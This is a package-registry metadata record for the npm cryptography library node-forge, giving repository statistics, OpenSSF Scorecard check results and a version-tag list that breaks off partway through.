{"id":2090983,"name":"node-forge","ecosystem":"npm","description":"JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.","homepage":"https://github.com/digitalbazaar/forge","licenses":"(BSD-3-Clause OR GPL-2.0)","normalized_licenses":["BSD-3-Clause","GPL-2.0"],"repository_url":"https://github.com/digitalbazaar/forge","keywords_array":["aes","asn","asn.1","cbc","crypto","cryptography","csr","des","gcm","hmac","http","https","md5","network","pkcs","pki","prng","rc2","rsa","sha1","sha256","sha384","sha512","ssh","tls","x.509","x509"],"namespace":null,"versions_count":137,"first_release_published_at":"2013-06-19T17:20:37.534Z","latest_release_published_at":"2026-11-04T01:06:47.014Z","latest_release_number":"1.4.3","latest_published_release_number":"1.4.3","last_synced_at":"2026-11-11T22:32:19.614Z","created_at":"2022-04-09T20:53:56.785Z","updated_at":"2026-11-11T22:32:19.614Z","registry_url":"https://www.npmjs.com/package/node-forge","install_command":"npm install node-forge","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"1.4.3"},"contentPolicy":null,"repository":{"url":"git+https://github.com/digitalbazaar/forge.git","type":"git"}},"repo_metadata":{"id":40411195,"uuid":"779570","full_name":"digitalbazaar/forge","owner":"digitalbazaar","description":"A native implementation of TLS in Javascript and tools to write crypto-based and network-heavy webapps","archived":false,"fork":false,"pushed_at":"2026-11-04T01:05:30.000Z","size":5030,"stargazers_count":5350,"open_issues_count":456,"forks_count":875,"subscribers_count":147,"default_branch":"main","last_synced_at":"2026-11-09T09:09:03.931Z","etag":null,"topics":["aes","asn1","certificate","cipher","crypto","cryptography","csr","hmac","javascript","md5","message-digest","pbkdf2","pkcs","pkcs1","pkcs12","pkcs7","sha1","sha256","tls","x509"],"latest_commit_sha":null,"homepage":"https://digitalbazaar.com/","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/digitalbazaar.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2010-07-16T20:49:48.000Z","updated_at":"2026-11-07T21:36:14.000Z","dependencies_parsed_at":"2026-11-09T09:04:20.191Z","dependency_job_id":"5f079a15-7355-4ae1-85bd-8f7cc9840efd","html_url":"https://github.com/digitalbazaar/forge","commit_stats":{"total_commits":1626,"total_committers":87,"mean_commits":"18.689655172413794","dds":0.3769987699876999,"last_synced_commit":"2bb97afb5058285ef09bcf1d04d6bd6b87cffd58"},"previous_names":[],"tags_count":141,"template":false,"template_full_name":null,"purl":"pkg:github/digitalbazaar/forge","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/digitalbazaar","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/sbom","scorecard":{"id":342350,"data":{"date":"2025-08-11","repo":{"name":"github.com/digitalbazaar/forge","commit":"2bb97afb5058285ef09bcf1d04d6bd6b87cffd58"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.5,"checks":[{"name":"Code-Review","score":0,"reason":"Found 1/24 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":1,"reason":"0 commit(s) and 2 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/digitalbazaar/forge/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/digitalbazaar/forge/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:29: update your workflow using https://app.stepsecurity.io/secureworkflow/digitalbazaar/forge/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/digitalbazaar/forge/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/digitalbazaar/forge/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/digitalbazaar/forge/main.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/digitalbazaar/forge/main.yml/main?enable=pin","Warn: npmCommand not pinned by hash: .github/workflows/main.yml:19","Warn: npmCommand not pinned by hash: .github/workflows/main.yml:35","Warn: npmCommand not pinned by hash: .github/workflows/main.yml:67","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   3 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 10 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T06:11:07.998Z","repository_id":40411195,"created_at":"2025-08-18T06:11:07.998Z","updated_at":"2025-08-18T06:11:07.998Z"},"funding_links":[],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":349647599,"owners_count":38599940,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-11-03T11:36:44.738Z","status":"online","status_checked_at":"2026-11-09T02:00:07.000Z","response_time":106,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"digitalbazaar","name":"Digital Bazaar, Inc.","uuid":"167436","kind":"organization","description":"Decentralized identity, credentials, payments, and ledgers.","email":"support@digitalbazaar.com","website":"https://digitalbazaar.com/","location":"Blacksburg, VA","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/167436?v=4","repositories_count":582,"last_synced_at":"2024-04-14T20:50:13.898Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/digitalbazaar","funding_links":[],"total_stars":8629,"followers":63,"following":0,"created_at":"2022-11-02T16:21:05.471Z","updated_at":"2024-04-14T20:52:50.695Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/digitalbazaar","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/digitalbazaar/repositories"},"tags":[{"name":"v1.4.3","sha":"936b24d939dc7261ee37982576f9cf2b410084ee","kind":"tag","published_at":"2026-11-04T01:04:59.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.4.3","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.4.3/manifests","release_url":null},{"name":"v1.4.2","sha":"7928054627d93ab8c0216b756246e8ca8d62a93e","kind":"tag","published_at":"2026-10-27T14:07:23.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.4.2","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.4.2/manifests","release_url":null},{"name":"v1.4.1","sha":"8a917370ec51731e817c2d547b7329a58f8210af","kind":"tag","published_at":"2026-10-27T04:42:39.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.4.1","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.4.1/manifests","release_url":null},{"name":"v1.4.0","sha":"fa385f92440879601240020f158bed68e444e83a","kind":"tag","published_at":"2026-03-24T21:44:00.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.4.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.4.0/manifests","release_url":null},{"name":"v1.3.3","sha":"1cea0aff4901589ae86e314f25782bbe312f9f69","kind":"tag","published_at":"2025-12-02T19:12:01.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.3.3","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.3.3/manifests","release_url":null},{"name":"v1.3.2","sha":"235ad3e70e4fdfdca4fdeb662dfba6588e2c38bd","kind":"tag","published_at":"2025-11-25T19:23:34.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.3.2","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.3.2/manifests","release_url":null},{"name":"v1.3.1","sha":"a0a4a4264bedb3296974b9675349c9c190144aeb","kind":"tag","published_at":"2022-03-30T00:11:45.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.3.1","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.3.1/manifests","release_url":null},{"name":"v1.3.0","sha":"6c5b90133d46af63d139b98bf65371732c8c7dad","kind":"tag","published_at":"2022-03-17T23:20:24.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.3.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.3.0/manifests","release_url":null},{"name":"v1.2.1","sha":"2162bfca12ef16de04a99d8bfa208eabcdf177be","kind":"tag","published_at":"2022-01-11T19:56:26.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.2.1","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.2.1/manifests","release_url":null},{"name":"v1.2.0","sha":"866ed40ae64264d48ffcc8cf663a6d13b9446e78","kind":"tag","published_at":"2022-01-08T02:19:48.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.2.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.2.0/manifests","release_url":null},{"name":"v1.1.0","sha":"cb93fe5ce2d6f9a4fd9aaca5067c2cfe887a24ca","kind":"tag","published_at":"2022-01-07T04:00:49.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.1.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.1.0/manifests","release_url":null},{"name":"v1.0.0","sha":"bc1a8d8837ef29672dbd320c5d03f06068ae4116","kind":"tag","published_at":"2022-01-05T03:00:24.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/v1.0.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/v1.0.0/manifests","release_url":null},{"name":"0.10.0","sha":"8018c3ea6f8e75d2df1b9ce4ec9c536db3db37e6","kind":"commit","published_at":"2020-09-02T02:01:59.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.10.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.10.0/manifests","release_url":null},{"name":"0.9.2","sha":"bf049a46d94d22da095f3c294ad5fbdcaa3f3f16","kind":"commit","published_at":"2020-09-02T01:20:08.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.9.2","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.9.2/manifests","release_url":null},{"name":"0.9.1","sha":"197218e159cbf82c611da91994c1126e2cfa35c3","kind":"commit","published_at":"2019-09-26T19:01:35.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.9.1","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.9.1/manifests","release_url":null},{"name":"0.9.0","sha":"5513f7788764fd9c8e21523fa6ab40a3928f2ed6","kind":"commit","published_at":"2019-09-05T02:35:01.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.9.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.9.0/manifests","release_url":null},{"name":"0.8.5","sha":"7192006e1916ce87498f6ef9bd86c080a5c48614","kind":"commit","published_at":"2019-06-19T01:05:22.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.8.5","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.8.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.5/manifests","release_url":null},{"name":"0.8.4","sha":"1aaf497a7c2866fd5f01cf43678073f619681fbd","kind":"commit","published_at":"2019-05-22T20:25:39.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.8.4","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.4/manifests","release_url":null},{"name":"0.8.3","sha":"86dff53db42829473df18cdd3059f065d4eae5cc","kind":"commit","published_at":"2019-05-15T19:38:03.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.8.3","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.3/manifests","release_url":null},{"name":"0.8.2","sha":"6139558173a632068a2a1494c85ec053f5115f80","kind":"commit","published_at":"2019-03-18T21:33:34.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.8.2","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.2/manifests","release_url":null},{"name":"0.8.1","sha":"1160fc4cc78e43630d42c8a68868cb518872089a","kind":"commit","published_at":"2019-02-23T21:41:13.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.8.1","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.1/manifests","release_url":null},{"name":"0.8.0","sha":"06de7f43c9befb3ae8d43a34bcf4e049f1deb23c","kind":"commit","published_at":"2019-02-01T03:45:17.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.8.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.8.0/manifests","release_url":null},{"name":"0.7.6","sha":"fb69220891a5ee58e017b48a1813208d968e6bac","kind":"commit","published_at":"2018-08-14T21:15:05.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.7.6","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.6/manifests","release_url":null},{"name":"0.7.5","sha":"c3d63fbbee1e9f68108bd499ceaeb01b5800e95c","kind":"commit","published_at":"2018-03-31T00:15:01.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.7.5","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.5/manifests","release_url":null},{"name":"0.7.4","sha":"9396c419496e9d203fe548db5df828ee045fba61","kind":"commit","published_at":"2018-03-07T19:19:00.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.7.4","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.4/manifests","release_url":null},{"name":"0.7.3","sha":"5eb308ad390ba0f06bb8facbac16259f89a42f86","kind":"commit","published_at":"2018-03-05T22:46:24.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.7.3","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.3/manifests","release_url":null},{"name":"0.7.2","sha":"31b810ecf6e8b4fa97e080369078faee42695630","kind":"commit","published_at":"2018-02-27T18:38:07.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.7.2","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.2/manifests","release_url":null},{"name":"0.7.1","s